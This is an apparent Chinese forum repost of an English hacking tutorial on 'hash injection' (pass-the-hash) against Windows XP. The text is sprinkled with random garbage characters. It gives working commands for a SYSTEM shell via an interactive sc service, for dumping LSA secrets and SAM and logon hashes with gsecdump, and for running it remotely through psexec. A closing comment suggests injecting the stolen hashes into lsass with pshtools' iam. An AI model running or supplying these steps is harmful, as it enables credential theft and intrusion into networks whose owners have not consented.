HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
+ ^% \8 z2 [5 n+ H[SC] CreateService SUCCESS

C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
1 h0 R: P1 a# [) h. v& A; Z
6 |0 L* G2 v8 B! Y# O------------

7 o! H" N1 h8 y! L9 uThen in the new DOS window:
6 \/ s3 L/ @) R+ t  _0 `6 w! }; V) K8 p( o
: }! _7 G( P: Y) k7 T" PMicrosoft Windows XP [Version 5.1.2600]
& V: K, O. c0 r(C) Copyright 1985-2001 Microsoft Corp.

8 ?) y+ {# v3 \C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
/ y# ~2 U! d( f* u* t
- H. Q+ G- k& h+ f& FC:\WINDOWS\system32>gsecdump -h
  A* I& k* J& y* {# Wgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
& w& k  B% G, [' @usage: gsecdump [options]

options:
-h [ --help ] show help
2 }8 x: w& x, e0 _* r+ o+ g( J, |-a [ --dump_all ] dump all secrets
% R% Y: S+ w# _# o9 N+ n7 \-l [ --dump_lsa ] dump lsa secrets
. p& w4 T& x9 K! k% h: q( ^7 C0 t-w [ --dump_wireless ] dump microsoft wireless connections
* I( y5 e( n! _0 V- V-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

Although I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
, X' Z# c( q; v4 h: H6 S
: P6 T" d+ `; n3 G7 n& y& cto get the hashes from active logon sessions of a remote system.

( U) V0 a' j& M: f9 j8 a( Z! k& q+ ^2 JThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

$ p9 E; q0 R( A/ w2 s提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

9 ?. n8 d, W8 C8 B: K' u' V我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。